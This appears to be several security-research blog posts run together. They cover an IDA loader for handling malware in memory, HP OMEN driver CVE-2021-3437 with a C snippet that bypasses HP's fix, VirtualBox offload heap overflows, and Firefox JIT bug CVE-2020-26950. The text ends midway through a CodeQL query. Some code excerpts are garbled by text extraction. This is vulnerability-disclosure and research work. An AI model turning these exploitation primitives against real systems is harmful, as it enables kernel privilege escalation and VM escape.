Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.
Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).
One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.
Memory Loader Plugin
If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.
Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.
Loading Files From a Memory Buffer
This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.
MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.
You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.
After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.
Loading Files From a Zip/Encrypted Zip
MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.
MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.
Loading Files From a URL
UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.
You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.
Place the loaders in the loaders directory of IDA.
MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)
Place the memory loader DLL in the IDA directory folder.
MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
How to Use MemZipLoader & UrlLoader
You can load binaries with MemZipLoader and UrlLoader as follows:
MemZipLoader:
Open IDA and choose zip file.
IDA should automatically suggest the loader:
Once selected, a list of the files from the zip will be displayed:
IDA will then use the loader code and load it as if the binary was a local file on the system.
UrlLoader:
Open any file on your computer in a directory you have write privileges to.
The UrlLoader will suggest a file to open.
After you chose UrlLoader, you will be asked enter a URL:
The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.
Setting Up Visual Studio Development
In order to set up the plugin for Visual Studio development, follow these steps.
Open a DLL project in Visual Studio
An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.
load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.
The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
X64 | X64 – 64 bit IDA with 64 BIT addresses
X32 | X64 – 64 bit IDA with 32 BIT addresses
Target file name (Configuration Properties -> Target Name)
When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.
Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.
Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.
SentinelLabs has discovered a high severity flaw in an HP OMEN driver affecting millions of devices worldwide.
Attackers could exploit these vulnerabilities to locally escalate to kernel-mode privileges. With this level of access, attackers can disable security products, overwrite system components, corrupt the OS, or perform any malicious operations unimpeded.
SentinelLabs’ findings were proactively reported to HP on Feb 17, 2021 and the vulnerability is tracked as CVE-2021-3437, marked with CVSS Score 7.8.
HP has released a security update to its customers to address these vulnerabilities.
At this time, SentinelOne has not discovered evidence of in-the-wild abuse.
Introduction
HP OMEN Gaming Hub, previously known as HP OMEN Command Center, is a software product that comes preinstalled on HP OMEN desktops and laptops. This software can be used to control and optimize settings such as device GPU, fan speeds, CPU overclocking, memory and more. The same software is used to set and adjust lighting and other controls on gaming devices and accessories such as mouse and keyboard.
Following on from our previous research into other HP products, we discovered that this software utilizes a driver that contains vulnerabilities that could allow malicious actors to achieve a privilege escalation to kernel mode without needing administrator privileges.
CVE-2021-3437 essentially derives from the HP OMEN Gaming Hub software using vulnerable code partially copied from an open source driver. In this research paper, we present details explaining how the vulnerability occurs and how it can be mitigated. We suggest best practices for developers that would help reduce the attack surface provided by device drivers with exposed IOCTLs handlers to low-privileged users.
Technical Details
Under the hood of HP OMEN Gaming Hub lies the HpPortIox64.sys driver, C:\Windows\System32\drivers\HpPortIox64.sys. This driver is developed by HP as part of OMEN, but it is actually a partial copy of another problematic driver, WinRing0.sys, developed by OpenLibSys.
The link between the two drivers can readily be seen as on some signed HP versions the metadata information shows the original filename and product name:
File Version information from CFF Explorer
Unfortunately, issues with the WinRing0.sys driver are well-known. This driver enables user-mode applications to perform various privileged kernel-mode operations via IOCTLs interface.
The operations provided by the HpPortIox64.sys driver include read/write kernel memory, read/write PCI configurations, read/write IO ports, and MSRs. Developers may find it convenient to expose a generic interface of privileged operations to user mode for stability reasons by keeping as much code as possible from the kernel-module.
The IOCTL codes 0x9C4060CC, 0x9C4060D0, 0x9C4060D4, 0x9C40A0D8, 0x9C40A0DC and 0x9C40A0E0 allow user mode applications with low privileges to read/write 1/2/4 bytes to or from an IO port. This could be leveraged in several ways to ultimately run code with elevated privileges in a manner we have previously described here.
The following image highlights the vulnerable code that allows unauthorized access to IN/OUT instructions, with IN instructions marked in red and OUT instructions marked in blue:
The Vulnerable Code – unauthorized access to IN/OUT instructions
Since I/O privilege level (IOPL) equals the current privilege level (CPL), it is possible to interact with peripheral devices such as internal storage and GPU to either read/write directly to the disk or to invoke Direct Memory Access (DMA) operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.
For the purposes of illustration, we wrote this sample driver to demonstrate the attack without pursuing an actual exploit:
This ATA PIO read/write is based on LearnOS. Running this driver will result in the following DebugView prints:
Debug logging from the driver in DbgView utility
Trying to restart this machine will result in an ‘Operating System not found’ error message because our demo driver destroyed the first sector of the disk (the MBR).
The machine fails to boot due to corrupted MBR
It’s worth mentioning that the impact of this vulnerability is platform dependent. It can potentially be used to attack device firmware or perform legacy PCI access by accessing ports 0xCF8/0xCFC. Some laptops may have embedded controllers which are reachable via IO port access.
Another interesting vulnerability in this driver is an arbitrary MSR read/write, accessible via IOCTLs 0x9C402084 and 0x9C402088. Model-Specific Registers (MSRs) are registers for querying or modifying CPU data. RDMSR and WRMSR are used to read and write to MSR accordingly. Documentation for WRMSR and RDMSR can be found on Intel(R) 64 and IA-32 Architecture Software Developer’s Manual Volume 2 Chapter 5.
In the following image, arbitrary MSR read is marked in green, MSR write in blue, and HLT is marked in red (accessible via IOCTL 0x9C402090, which allows executing the instruction in a privileged context).
Vulnerable code with unauthorized access to MSR registers
Most modern systems only use MSR_LSTAR during a system call transition from user-mode to kernel-mode:
MSR_LSTAR MSR register in WinDbg
It should be noted that on 64-bit KPTI enabled systems, LSTAR MSR points to nt!KiSystemCall64Shadow.
The entire transition process looks something like as follows:
The entire process of transition from the User Mode to Kernel mode
These vulnerabilities may allow malicious actors to execute code in kernel mode very easily, since the transition to kernel-mode is done via an MSR. This is basically an exposed WRMSR instruction (via IOCTL) that gives an attacker an arbitrary pointer overwrite primitive. We can overwrite the LSTAR MSR and achieve a privilege escalation to kernel mode without needing admin privileges to communicate with this device driver.
Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACLs enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):
Using DeviceTree software to examine the security descriptor of the deviceThe function that handles IOCTLs to write to arbitrary MSRs
Weaponizing this kind of vulnerability is trivial as there’s no need to reinvent anything; we just took the msrexec project and armed it with our code to elevate our privileges.
Initially, HP developed a fix that verifies the initiator user-mode applications that communicate with the driver. They open the nt!_FILE_OBJECT of the callee, parsing its PE and validating the digital signature, all from kernel mode. While this in itself should be considered unsafe, their implementation (which also introduced several additional vulnerabilities) did not fix the original issue. It is very easy to bypass these mitigations using various techniques such as “Process Hollowing”. Consider the following program as an example:
int main() {
puts("Opening a handle to HpPortIO\r\n");
hDevice = CreateFileW(L"\\\\.\\HpPortIO", FILE_ANY_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed! getlasterror: %d\r\n", GetLastError());
return -1;
}
printf("succeeded! handle: %x\r\n", hDevice);
return -1;
}
Running this program against the fix without Process Hollowing will result in:
Opening a handle to HpPortIO failed!
getlasterror: 87
While running this with Process Hollowing will result in:
Opening a handle to HpPortIO succeeded!
handle: <HANDLE>
It’s worth mentioning that security mechanisms such as PatchGuard and security hypervisors should mitigate this exploit to a certain extent. However, PatchGuard can still be bypassed. Some of its protected structure/data are MSRs, but since PatchGuard samples these assets periodically, restoring the original values very quickly may enable you to bypass it.
Impact
An exploitable kernel driver vulnerability can lead an unprivileged user to SYSTEM, since the vulnerable driver is locally available to anyone.
This high severity flaw, if exploited, could allow any user on the computer, even without privileges, to escalate privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.
An attacker with access to an organization’s network may also gain access to execute code on unpatched systems and use these vulnerabilities to gain local elevation of privileges. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.
Impacted products:
HP OMEN Gaming Hub prior to version 11.6.3.0 is affected
HP OMEN Gaming Hub SDK Package prior 1.0.44 is affected
Development Suggestions
To reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs on device objects, verify user input and not expose a generic interface to kernel mode operations.
Remediation
HP released a Security Advisory on September 14th to address this vulnerability. We recommend customers, both enterprise and consumer, review the HP Security Advisory for complete remediation details.
Conclusion
This high severity vulnerability affects millions of PCs and users worldwide. While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, using any OMEN-branded PC with the vulnerable driver utilized by OMEN Gaming Hub makes the user potentially vulnerable. Therefore, we urge users of OMEN PCs to ensure they take appropriate mitigating measures without delay.
We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.
Disclosure Timeline
17, Feb, 2021 – Initial report
17, Feb, 2021 – HP requested more information
14, May, 2021 – HP sent us a fix for validation
16, May, 2021 – SentinelLabs notified HP that the fix was insufficient
07, Jun, 2021 – HP delivered another fix, this time disabling the whole feature
27, Jul, 2021 – HP released an update to the software on the Microsoft Store
14, Sep 2021 – HP released a security advisory for CVE-2021-3437
14, Sep 2021 – SentinelLabs’ research published
The Pwn2Own contest is like Christmas for me. It’s an exciting competition which involves rummaging around to find critical vulnerabilities in the most commonly used (and often the most difficult) software in the world. Back in March, I was preparing to have a pop at the Vancouver contest and had decided to take a break from writing browser fuzzers to try something different: VirtualBox.
Virtualization is an incredibly interesting target. The complexity involved in both emulating hardware devices and passing data safely to real hardware is astounding. And as the mantra goes: where there is complexity, there are bugs.
For Pwn2Own, it was a safe bet to target an emulated component. In my eyes, network hardware emulation seemed like the right (and usual) route to go. I started with a default component: the NAT emulation code in /src/VBox/Devices/Network/DrvNAT.cpp.
At the time, I just wanted to get a feel for the code, so there was no specific methodical approach to this other than scrolling through the file and reading various parts.
During my scrolling adventure, I landed on something that caught my eye:
static DECLCALLBACK(void) drvNATSendWorker(PDRVNAT pThis, PPDMSCATTERGATHER pSgBuf)
{
#if 0 /* Assertion happens often to me after resuming a VM -- no time to investigate this now. */
Assert(pThis->enmLinkState == PDMNETWORKLINKSTATE_UP);
#endif
if (pThis->enmLinkState == PDMNETWORKLINKSTATE_UP)
{
struct mbuf *m = (struct mbuf *)pSgBuf->pvAllocator;
if (m)
{
/*
* A normal frame.
*/
pSgBuf->pvAllocator = NULL;
slirp_input(pThis->pNATState, m, pSgBuf->cbUsed);
}
else
{
/*
* GSO frame, need to segment it.
*/
/** @todo Make the NAT engine grok large frames? Could be more efficient... */
#if 0 /* this is for testing PDMNetGsoCarveSegmentQD. */
uint8_t abHdrScratch[256];
#endif
uint8_t const *pbFrame = (uint8_t const *)pSgBuf->aSegs[0].pvSeg;
PCPDMNETWORKGSO pGso = (PCPDMNETWORKGSO)pSgBuf->pvUser;
uint32_t const cSegs = PDMNetGsoCalcSegmentCount(pGso, pSgBuf->cbUsed); Assert(cSegs > 1);
for (uint32_t iSeg = 0; iSeg pNATState, pGso->cbHdrsTotal + pGso->cbMaxSeg, &pvSeg, &cbSeg);
if (!m)
break;
#if 1
uint32_t cbPayload, cbHdrs;
uint32_t offPayload = PDMNetGsoCarveSegment(pGso, pbFrame, pSgBuf->cbUsed,
iSeg, cSegs, (uint8_t *)pvSeg, &cbHdrs, &cbPayload);
memcpy((uint8_t *)pvSeg + cbHdrs, pbFrame + offPayload, cbPayload);
slirp_input(pThis->pNATState, m, cbPayload + cbHdrs);
#else
...
The function used for sending packets from the guest to the network contained a separate code path for Generic Segmentation Offload (GSO) frames and was using memcpy to combine pieces of data.
The next question was of course “How much of this can I control?” and after going through various code paths and writing a simple Python-based constraint solver for all the limiting factors, the answer was “More than I expected” when using the Paravirtualization Network device called VirtIO.
Paravirtualized Networking
An alternative to fully emulating a device is to use paravirtualization. Unlike full virtualization, in which the guest is entirely unaware that it is a guest, paravirtualization has the guest install drivers that are aware that they are running in a guest machine in order to work with the host to transfer data in a much faster and more efficient manner.
VirtIO is an interface that can be used to develop paravirtualized drivers. One such driver is virtio-net, which comes with the Linux source and is used for networking. VirtualBox, like a number of other virtualization software, supports this as a network adapter:
The Adapter Type options
Similarly to the e1000, VirtIO networking works by using ring buffers to transfer data between the guest and the host (In this case called Virtqueues, or VQueues). However, unlike the e1000, VirtIO doesn’t use a single ring with head and tail registers for transmitting but instead uses three separate arrays:
A Descriptor array that contains the following data per-descriptor:
Address – The physical address of the data being transferred.
Length – The length of data at the address.
Flags – Flags that determine whether the Next field is in-use and whether the buffer is read or write.
Next – Used when there is chaining.
An Available ring – An array that contains indexes into the Descriptor array that are in use and can be read by the host.
A Used ring – An array of indexes into the Descriptor array that have been read by the host.
This looks as so:
When the guest wishes to send packets to the network, it adds an entry to the descriptor table, adds the index of this descriptor to the Available ring, and then increments the Available Index pointer:
Once this is done, the guest ‘kicks’ the host by writing the VQueue index to the Queue Notify register. This triggers the host to begin handling descriptors in the available ring. Once a descriptor has been processed, it is added to the Used ring and the Used Index is incremented:
Generic Segmentation Offload
Next, some background on GSO is required. To understand the need for GSO, it’s important to understand the problem that it solves for network cards.
Originally the CPU would handle all of the heavy lifting when calculating transport layer checksums or segmenting them into smaller ethernet packet sizes. Since this process can be quite slow when dealing with a lot of outgoing network traffic, hardware manufacturers started implementing offloading for these operations, thus removing the strain on the operating system.
For segmentation, this meant that instead of the OS having to pass a number of much smaller packets through the network stack, the OS just passes a single packet once.
It was noticed that this optimization could be applied to other protocols (beyond TCP and UDP) without the need of hardware support by delaying segmentation until just before the network driver receives the message. This resulted in GSO being created.
Since VirtIO is a paravirtualized device, the driver is aware that it is in a guest machine and so GSO can be applied between the guest and host. GSO is implemented in VirtIO by adding a context descriptor header to the start of the network buffer. This header can be seen in the following struct:
The VirtIO header can be thought of as a similar concept to the Context Descriptor in e1000.
When this header is received, the parameters are verified for some level of validity in vnetR3ReadHeader. Then the function vnetR3SetupGsoCtx is used to fill the standard GSO struct used by VirtualBox across all network devices:
typedef struct PDMNETWORKGSO
{
/** The type of segmentation offloading we're performing (PDMNETWORKGSOTYPE). */
uint8_t u8Type;
/** The total header size. */
uint8_t cbHdrsTotal;
/** The max segment size (MSS) to apply. */
uint16_t cbMaxSeg;
/** Offset of the first header (IPv4 / IPv6). 0 if not not needed. */
uint8_t offHdr1;
/** Offset of the second header (TCP / UDP). 0 if not not needed. */
uint8_t offHdr2;
/** The header size used for segmentation (equal to offHdr2 in UFO). */
uint8_t cbHdrsSeg;
/** Unused. */
uint8_t u8Unused;
} PDMNETWORKGSO;
Once this has been constructed, the VirtIO code creates a scatter-gatherer to assemble the frame from the various descriptors:
/* Assemble a complete frame. */
for (unsigned int i = 1; i 0; i++)
{
unsigned int cbSegment = RT_MIN(uSize, elem.aSegsOut[i].cb);
PDMDevHlpPhysRead(pDevIns, elem.aSegsOut[i].addr,
((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset,
cbSegment);
uOffset += cbSegment;
uSize -= cbSegment;
}
The frame is passed to the NAT code along with the new GSO structure, reaching the point that drew my interest originally.
When the NAT code receives the GSO frame, it gets the full ethernet packet and passes it to Slirp (a library for TCP/IP emulation) as an mbuf message. In order to do this, VirtualBox allocates a new mbuf message and copies the packet to it. The allocation function takes a size and picks the next largest allocation size from three distinct buckets:
If the supplied size is larger than MJUM16BYTES, an assertion is triggered. Unfortunately, this assertion is only compiled when the RT_STRICT macro is used, which is not the case in release builds. This means that execution will continue after this assertion is hit, resulting in a bucket size of 0x800 being selected for the allocation. Since the actual data size is larger, this results in a heap overflow when the user data is copied into the mbuf.
/** @def AssertMsgFailed
* An assertion failed print a message and a hit breakpoint.
*
* @param a printf argument list (in parenthesis).
*/
#ifdef RT_STRICT
# define AssertMsgFailed(a) \
do { \
RTAssertMsg1Weak((const char *)0, __LINE__, __FILE__, RT_GCC_EXTENSION __PRETTY_FUNCTION__); \
RTAssertMsg2Weak a; \
RTAssertPanic(); \
} while (0)
#else
# define AssertMsgFailed(a) do { } while (0)
#endif
Throughout the code, a function called PDMNetGsoIsValid is used which verifies whether the GSO parameters supplied by the guest are valid. However, whenever it is used it is placed in an assertion. For example:
As mentioned before, assertions like these are not compiled in the release build. This results in invalid GSO parameters being allowed; a miscalculation can be caused for the size given to slirp_ext_m_get, making it less than the total copied amount by the memcpy in the for-loop. In my proof-of-concept, my parameters for the calculation of pGso->cbHdrsTotal + pGso->cbMaxSeg used for cbMin resulted in an allocation of 0x4000 bytes, but the calculation for cbPayload resulted in a memcpy call for 0x4065 bytes, overflowing the allocated region.
The title of this post makes it seem like GSO is the only vulnerable offload mechanism in place here; however, another offload mechanism is vulnerable too: Checksum Offload.
Checksum offloading can be applied to various protocols that have checksums in their message headers. When emulating, VirtualBox supports this for both TCP and UDP.
In order to access this feature, the GSO frame needs to have the first bit of the u8Flags member set to indicate that the checksum offload is required. In the case of VirtualBox, this bit must always be set since it cannot handle GSO without performing the checksum offload. When VirtualBox handles UDP packets with GSO, it can end up in the function PDMNetGsoCarveSegmentQD in certain circumstances:
case PDMNETWORKGSOTYPE_IPV4_UDP:
if (iSeg == 0)
pdmNetGsoUpdateUdpHdrUfo(RTNetIPv4PseudoChecksum((PRTNETIPV4)&pbFrame[pGso->offHdr1]),
pbSegHdrs, pbFrame, pGso->offHdr2);
The function pdmNetGsoUpdateUdpHdrUfo uses the offHdr2 to indicate where the UDP header is in the packet structure. Eventually this leads to a function called RTNetUDPChecksum:
This is where the vulnerability is. In this function, the uh_ulen property is completely trusted without any validation, which results in either a size that is outside of the bounds of the buffer, or an integer underflow from the subtraction of sizeof(*pUdpHdr).
rtNetIPv4AddDataChecksum receives both the size value and the packet header pointer and proceeds to calculate the checksum:
/* iterate the data. */
while (cbData > 1)
{
u32Sum += *pw;
pw++;
cbData -= 2;
}
From an exploitation perspective, adding large amounts of out of bounds data together may not seem particularly interesting. However, if the attacker is able to re-allocate the same heap location for consecutive UDP packets with the UDP size parameter being added two bytes at a time, it is possible to calculate the difference in each checksum and disclose the out of bounds data.
On top of this, it’s also possible to use this vulnerability to cause a denial-of-service against other VMs in the network:
Got another Virtualbox vuln fixed (CVE-2021-2442)
Works as both an OOB read in the host process, as well as an integer underflow. In some instances, it can also be used to remotely DoS other Virtualbox VMs! pic.twitter.com/Ir9YQgdZQ7
Offload support is commonplace in modern network devices so it’s only natural that virtualization software emulating devices does it as well. While most public research has been focused on their main components, such as ring buffers, offloads don’t appear to have had as much scrutiny. Unfortunately in this case I didn’t manage to get an exploit together in time for the Pwn2Own contest, so I ended up reporting the firsttwo to the Zero Day Initiative and the checksum bug to Oracle directly.
SentinelLabs worked on examining and exploiting a previously patched vulnerability in the Firefox just-in-time (JIT) engine, enabling a greater understanding of the ways in which this class of vulnerability can be used by an attacker.
In the process, we identified unique ways of constructing exploit primitives by using function arguments to show how a creative attacker can utilize parts of their target not seen in previous exploits to obtain code execution.
Additionally, we worked on developing a CodeQL query to identify whether there were any similar vulnerabilities that shared this pattern.
At SentinelLabs, we often look into various complicated vulnerabilities and how they’re exploited in order to understand how best to protect customers from different types of threats.
CVE-2020-26950 is one of the more interesting Firefox vulnerabilities to be fixed. Discovered by the 360 ESG Vulnerability Research Institute, it targets the now-replaced JIT engine used in Spidermonkey, called IonMonkey.
Within a month of this vulnerability being found in late 2020, the area of the codebase that contained the vulnerability had become deprecated in favour of the new WarpMonkey engine.
What makes this vulnerability interesting is the number of constraints involved in exploiting it, to the point that I ended up constructing some previously unseen exploit primitives. By knowing how to exploit these types of unique bugs, we can work towards ensuring we detect all the ways in which they can be exploited.
Just-in-Time (JIT) Engines
When people think of web browsers, they generally think of HTML, JavaScript, and CSS. In the days of Internet Explorer 6, it certainly wasn’t uncommon for web pages to hang or crash. JavaScript, being the complicated high-level language that it is, was not particularly useful for fast applications and improvements to allocators, lazy generation, and garbage collection simply wasn’t enough to make it so. Fast forward to 2008 and Mozilla and Google both released their first JIT engines for JavaScript.
JIT is a way for interpreted languages to be compiled into assembly while the program is running. In the case of JavaScript, this means that a function such as:
function add() {
return 1+1;
}
can be replaced with assembly such as:
push rbp
mov rbp, rsp
mov eax, 2
pop rbp
ret
This is important because originally the function would be executed using JavaScript bytecode within the JavaScript Virtual Machine, which compared to assembly language, is significantly slower.
Since JIT compilation is quite a slow process due to the huge amount of heuristics that take place (such as constant folding, as shown above when 1+1 was folded to 2), only those functions that would truly benefit from being JIT compiled are. Functions that are run a lot (think 10,000 times or so) are ideal candidates and are going to make page loading significantly faster, even with the tradeoff of JIT compilation time.
Redundancy Elimination
Something that is key to this vulnerability is the concept of eliminating redundant nodes. Take the following code:
function read(i) {
if (i
This would start as the following JIT pseudocode:
1. Guard that argument 'i' is an Int32 or fallback to Interpreter
2. Get value of 'i'
3. Compare GetValue2 to 10
4. If LessThan, goto 8
5. Get value of 'i'
6. Add 2 to GetValue5
7. Return Int32 Add6
8. Get value of 'i'
9. Add 1 to GetValue8
10. Return Add9 as an Int32
In this, we see that we get the value of argument i multiple times throughout this code. Since the value is never set in the function and only read, having multiple GetValue nodes is redundant since only one is required. JIT Compilers will identify this and reduce it to the following:
1. Guard that argument 'i' is an Int32 or fallback to Interpreter
2. Get value of 'i'
3. Compare GetValue2 to 10
4. If LessThan, goto 8
5. Add 2 to GetValue2
6. Return Int32 Add5
7. Add 1 to GetValue2
8. Return Add7 as an Int32
CVE-2020-26950 exploits a flaw in this kind of assumption.
IonMonkey 101
How IonMonkey works is a topic that has been covered in detail severaltimes before. In the interest of keeping this section brief, I will give a quick overview of the IonMonkey internals. If you have a greater interest in diving deeper into the internals, the linked articles above are a must-read.
JavaScript doesn’t immediately get translated into assembly language. There are a bunch of steps that take place first. Between bytecode and assembly, code is translated into several other representations. One of these is called Middle-Level Intermediate Representation (MIR). This representation is used in Control-Flow Graphs (CFGs) that make it easier to perform compiler optimisations on.
Some examples of MIR nodes are:
MGuardShape - Checks that the object has a particular shape (The structure that defines the property names an object has, as well as their offset in the property array, known as the slots array) and falls back to the interpreter if not. This is important since JIT code is intended to be fast and so needs to assume the structure of an object in memory and access specific offsets to reach particular properties.
MCallGetProperty - Fetches a given property from an object.
Each of these nodes has an associated Alias Set that describes whether they Load or Store data, and what type of data they handle. This helps MIR nodes define what other nodes they depend on and also which nodes are redundant. For example, a node that reads a property will depend on either the first node in the graph or the most recent node that writes to the property.
In the context of the GetValue pseudocode above, these would have a Load Alias Set since they are loading rather than storing values. Since there are no Store nodes between them that affect the variable they’re loading from, they would have the same dependency. Since they are the same node and have the same dependency, they can be eliminated.
If, however, the variable were to be written to before the second GetValue node, then it would depend on this Store instead and will not be removed due to depending on a different node. In this case, the GetValue node is Aliasing with the node that writes to the variable.
The Vulnerability
With open-source software such as Firefox, understanding a vulnerability often starts with the patch. The Mozilla Security Advisory states:
CVE-2020-26950: Write side effects in MCallGetProperty opcode not accounted for
In certain circumstances, the MCallGetProperty opcode can be emitted with unmet assumptions resulting in an exploitable use-after-free condition.
The critical part of the patch is in IonBuilder::createThisScripted as follows:
IonBuilder::createThisScripted patch
To summarise, the code would originally try to fetch the object prototype from the Inline Cache using the MGetPropertyCache node (Lines 5170 to 5175). If doing so causes a bailout, it will next switch to getting the prototype by generating a MCallGetProperty node instead (Lines 5177 to 5180).
After this fix, the MCallGetProperty node is no longer generated upon bailout. This alone would likely cause a bailout loop, whereby the MGetPropertyCache node is used, a bailout occurs, then the JIT gets regenerated with the exact same nodes, which then causes the same bailout to happen (See: Definition of insanity).
The patch, however, has added some code to IonGetPropertyIC::update that prevents this loop from happening by disabling IonMonkey entirely for this script if the MGetPropertyCache node fails for JSFunction object types:
IonBuilder code to prevent a bailout-loop
So the question is, what’s so bad about the MCallGetProperty node?
Looking at the code, it’s clear that when the node is idempotent, as set on line 5179, the Alias Set is a Load type, which means that it will never store anything:
Alias Set when idempotent is true
This isn’t entirely correct. In the patch, the line of code that disables Ion for the script is only run for JSFunction objects when fetching the prototype property, which is exactly what IonBuilder::createThisScripted is doing, but for all objects.
From this, we can conclude that this is an edge case where JSFunction objects have a write side effect that is triggered by the MCallGetProperty node.
Lazy Properties
One of the ways that JavaScript engines improve their performance is to not generate things if not absolutely necessary. For example, if a function is created and is never run, parsing it to bytecode would be a waste of resources that could be spent elsewhere. This last-minute creation is a concept called laziness, and JSFunction objects perform lazy property resolution for their prototypes.
When the MCallGetProperty node is converted to an LCallGetProperty node and is then turned to assembly using the Code Generator, the resulting code makes a call back to the engine function GetValueProperty. After a series of other function calls, it reaches the function LookupOwnPropertyInline. If the property name is not found in the object shape, then the object class’ resolve hook is called.
Calling the resolve hook
The resolve hook is a function specified by object classes to generate lazy properties. It’s one of several class operations that can be specified:
The JSClassOps struct
In the case of the JSFunction object type, the function fun_resolve is used as the resolve hook.
The property name ID is checked against the prototype property name. If it matches and the JSFunction object still needs a prototype property to be generated, then it executes the ResolveInterpretedFunctionPrototype function:
The ResolveInterpretedFunctionPrototype function
This function then calls DefineDataProperty to define the prototype property, add the prototype name to the object shape, and write it to the object slots array. Therefore, although the node is supposed to only Load a value, it has ended up acting as a Store.
The issue becomes clear when considering two objects allocated next to each other:
If the first object were to have a new property added, there’s no space left in the slots array, which would cause it to be reallocated, as so:
In terms of JIT nodes, if we were to get two properties called x and y from an object called o, it would generate the following nodes:
1. GuardShape of object 'o'
2. Slots of object 'o'
3. LoadDynamicSlot 'x' from slots2
4. GuardShape of object 'o'
5. Slots of object 'o'
6. LoadDynamicSlot 'y' from slots5
Thinking back to the redundancy elimination, if properties x and y are both non-getter properties, there’s no way to change the shape of the object o, so we only need to guard the shape once and get the slots array location once, reducing it to this:
1. GuardShape of object 'o'
2. Slots of object 'o'
3. LoadDynamicSlot 'x' from slots2
4. LoadDynamicSlot 'y' from slots2
Now, if object o is a JSFunction and we can trigger the vulnerability above between the two, the location of the slots array has now changed, but the second LoadDynamicSlot node will still be using the old location, resulting in a use-after-free:
Use-after-free
The final piece of the puzzle is how the function IonBuilder::createThisScripted is called. It turns out that up a chain of calls, it originates from the jsop_call function. Despite the name, it isn’t just called when generating the MIR node for JSOp::Call, but also several other nodes:
The vulnerable code path will also only be taken if the second argument (constructing) is true. This means that the only opcodes that can reach the vulnerability are JSOp::New and JSOp::SuperCall.
Variant Analysis
In order to look at any possible variations of this vulnerability, Firefox was compiled using CodeQL and a query was written for the bug.
import cpp
// Find all C++ VM functions that can be called from JIT code
class VMFunction extends Function {
VMFunction() {
this.getAnAccess().getEnclosingVariable().getName() = "vmFunctionTargets"
}
}
// Get a string representation of the function path to a given function (resolveConstructor/DefineDataProperty)
// depth - to avoid going too far with recursion
string tracePropDef(int depth, Function f) {
depth in [0 .. 16] and
exists(FunctionCall fc | fc.getEnclosingFunction() = f and ((fc.getTarget().getName() = "DefineDataProperty" and result = f.getName().toString()) or (not fc.getTarget().getName() = "DefineDataProperty" and result = tracePropDef(depth + 1, fc.getTarget()) + " -> " + f.getName().toString())))
}
// Trace a function call to one that starts with 'visit' (CodeGenerator uses visit, so we can match against MIR with M)
// depth - to avoid going too far with recursion
Function traceVisit(int depth, Function f) {
depth in [0 .. 16] and
